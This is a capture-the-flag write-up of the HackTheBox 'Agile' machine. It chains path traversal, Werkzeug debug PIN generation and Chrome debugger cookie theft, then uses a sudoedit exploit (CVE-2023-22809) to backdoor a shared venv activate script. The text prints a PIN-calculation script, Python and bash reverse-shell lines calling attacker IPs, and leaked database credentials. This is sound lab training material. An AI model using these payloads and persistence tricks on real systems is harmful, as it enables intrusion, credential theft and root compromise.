Post

HackTheBox - Agile


Agile from HackTheBox is running a password manager vulnerable to path traversal, the website is using flask with debug mode allowing us to generate the pin code and get a reverse shell. Once on the machine we list processes and find chrome debugger running on a local port, we forward that port and get cookies of another user for the password manager where we find another password. This user has a sudo entry for sudoedit, the version of sudo has an exploit allowing us to edit sensitive files and get root.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.203             
Host is up (0.29s latency).                   
Not shown: 998 closed tcp ports (reset)       
PORT   STATE SERVICE VERSION                  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)                                                     
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two open ports, 22 running open ssh and 80 is apache withe the domain name supoerpass.htb.

Web

Let’s navigate to the website after we add the domain to our /etc/hosts

web

So this is a password manager. I’ll register a user and login.

reg

There is an export button, but since we have no data in the vault yet it gives us No passwords for user. Let’s submit something.

pass

Now when we click the export button it downloads a file containing the data we entered.

Let’s check the requests made on burp.

burp

This reveals the /download page used with fn parameter to download the files.

If we wait a little bit and try to download the same file we get the following:

error

The files are in the /tmp directory and they are getting deleted regularly.

Let’s try a path traversal to grab /etc/passwd file.

passwd

It worked!.

Foothold

One thing we know so far, we have a path traversal vulnerability on the website, and the website is using Flask in debug mode. If we have the pin to access the console, we would have code execution. The good thing is that we can calculate the pin code by gathering some data using the path traversal and use the following python script to generate the pin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Here is where we can find the important data for us.

username : /proc/self/environ

Mac Address : First read /proc/net/arp to know the interface -> /sys/class/net/{interface}/address and then transform with int("00:50:56:94:90:da".replace(':',''), 16)

machine_id : /etc/machine-id + last string after the slash in /proc/self/cgroup

app.py path : In the error page

In this box, we also need to change Flask to wsgi_app.

Now here is how our code should be. Let’s run it and generate a code and then submit in the website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',
    'flask.app'
    'wsgi_app',
    '/app/venv/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '345049944887',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'  # get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
# h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

website

Now in the console I’ll execute the following python script to get a shell.

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.9",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
[★]$ nc -lvnp 9001      
Listening on 0.0.0.0 9001
Connection received on 10.10.11.203 46674
$ python3 -c 'import pty; pty.spawn("/bin/bash")' 
python3 -c 'import pty; pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$ export TERM=xterm
export TERM=xterm
(venv) www-data@agile:/app/app$ ^Z
zsh: suspended  nc -lvnp 9001
                                                                                                                                                                                              ★]$ stty raw -echo; fg       
[1]  + continued  nc -lvnp 9001

(venv) www-data@agile:/app/app$

Privilege Escalation

On the /app directory we find a config file with db credentials.

1
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Let’s connect to the database and see what’s there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(venv) www-data@agile:/app$ mysql -u superpassuser -p                                                                                                                                         
Enter password:                                                                                                                                                                               
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 778
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

mysql> use superpass;   
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
                                               
Database changed                    
mysql> show tables;      
+---------------------+             
| Tables_in_superpass |
+---------------------+  
| passwords           |    
| users               |                     
+---------------------+
2 rows in set (0.00 sec)                                                                       
                                               
mysql> select * from users
    -> ;
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password                                                                                                          |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
|  1 | 0xdf     | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
|  2 | corum    | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
|  9 | sirius   | $6$rounds=200000$8f8PAKxVjQ2NucWl$zLR8Z4TagjmCPXupRCper.RfJzrL8j5Y4zIzzBjAQRtSmcbE8.XxegnClFyT57Uz5WWxF8n3U9FndsdxR.TWW1 |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)

mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+

We found hashed password that the website uses, and also the clear text passwords the users has saved on the password manager.

I checked the home directory and found three users.

1
2
$ ls /home
corum  dev_admin  edwards

User corum has saved three passwords, trying the last one i manager to switch to him.

1
2
3
4
(venv) www-data@agile:/app$ su corum                                                                                                                                                          
Password:
corum@agile:/app$ id                                                                           
uid=1000(corum) gid=1000(corum) groups=1000(corum)

running linpeas I found the following.

linpeas

We have chrome debugger running on port 41829.

Let’s forward that port:

1
ssh corum@superpass.htb -L 41829:127.0.0.1:41829

Now we open chrome and go to chrome://inspect/#devices. We click Configure and add 127.0.0.1:41829

inspec

We click inspect, and if we wait a little bit we can see some activity on test.superpass.htb.

activity

The nginx config file shows that this domain is linked to 127.0.0.1:5555.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
server {                                                                                                                                                                                      
    listen 127.0.0.1:80;                                                                                                                                                                      
    server_name test.superpass.htb;
    location /static {                                                                         
        alias /app/app-testing/superpass/static;                                                                                                                                              
        expires 365d;                                                                                                                                                                         
    }                                                                                                                                                                                         
    location / {                                                                                                                                                                              
        include uwsgi_params;                                                                                                                                                                 
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;                                                                                                                                        
    }                                                                                                                                                                                         
} 

Let’s forward that port, copy the cookies to the website and refresh.

asdf

We got the session of use edwards, let’s copy the password and login.

1
2
3
4
5
6
7
8
9
10
11
corum@agile:~$ su edwards
Password: 
edwards@agile:/home/corum$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

We can sudoedit as user dev_admin.

1
2
3
4
5
6
7
edwards@agile:/app/venv/bin$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

The version running is vulnerable to CVE-2023-22809.

In Sudo before 1.9.12p2, the sudoedit (aka -e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. Affected versions are 1.8.0 through 1.9.12.p1. The problem exists because a user-specified editor may contain a “–” argument that defeats a protection mechanism, e.g., an EDITOR=’vim – /path/to/extra/file’ value.

So for example if we run export EDITOR="vim -- /etc/passwd" and then run sudoedit -u dev_admin /app/config_test.json, it would open the /etc/passwd file inside vi instead of config_test.json file.

There are a lot of file I tried to read like history files for dev_admin and private ssh keys but didn’t find anything good.

Let’s search for files and directories that user dev_admin has permission over.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
edwards@agile:~$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
edwards@agile:~$ find / -group dev_admin 2>/dev/null
/home/dev_admin
/app/venv
/app/venv/bin
/app/venv/bin/activate
/app/venv/bin/Activate.ps1
/app/venv/bin/activate.fish
/app/venv/bin/activate.csh
edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Jul 13 19:03 /app/venv/bin/activate

The user has write permissions over /app/venv/bin/activate.

If we look back to our first reverse shell we see that the shell we got is running with python venv.

1
(venv) www-data@agile:

If we check our path variable it gives this:

1
2
edwards@agile:~$ echo $PATH
/app/venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

We see that the venv is added to the path.

Checking my .bashrc doesn’t show anything that is sourcing the python venv.

But if we check the global bashrc at /etc/bash.bashrc we find it’s the one responsible for it.

1
2
3
4
edwards@agile:~$ cat /etc/bash.bashrc
[SNIP]
# all users will want the env associated with this application
source /app/venv/bin/activate

So every time a user logs in, bash will source the venv.

Since we have write permissions over activate, we can put a reverse shell for example that would be triggered when someones log in.

Let’s use the exploit of sudo to edit the file.

1
2
3
4
5
6
7
8
9
10
11
edwards@agile:~$ export EDITOR="vi -- /app/venv/bin/activate"
edwards@agile:~$ sudoedit -u dev_admin /app/config_test.json
sudoedit: --: Permission denied
2 files to edit
sudoedit: /app/config_test.json unchanged
edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

sh -i >& /dev/tcp/10.10.16.18/4444 0>&1

Now we setup a listener and wait for someone to login.

1
2
3
4
5
6
[★]$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.203 45974
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Great! We got a root shell.

References


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.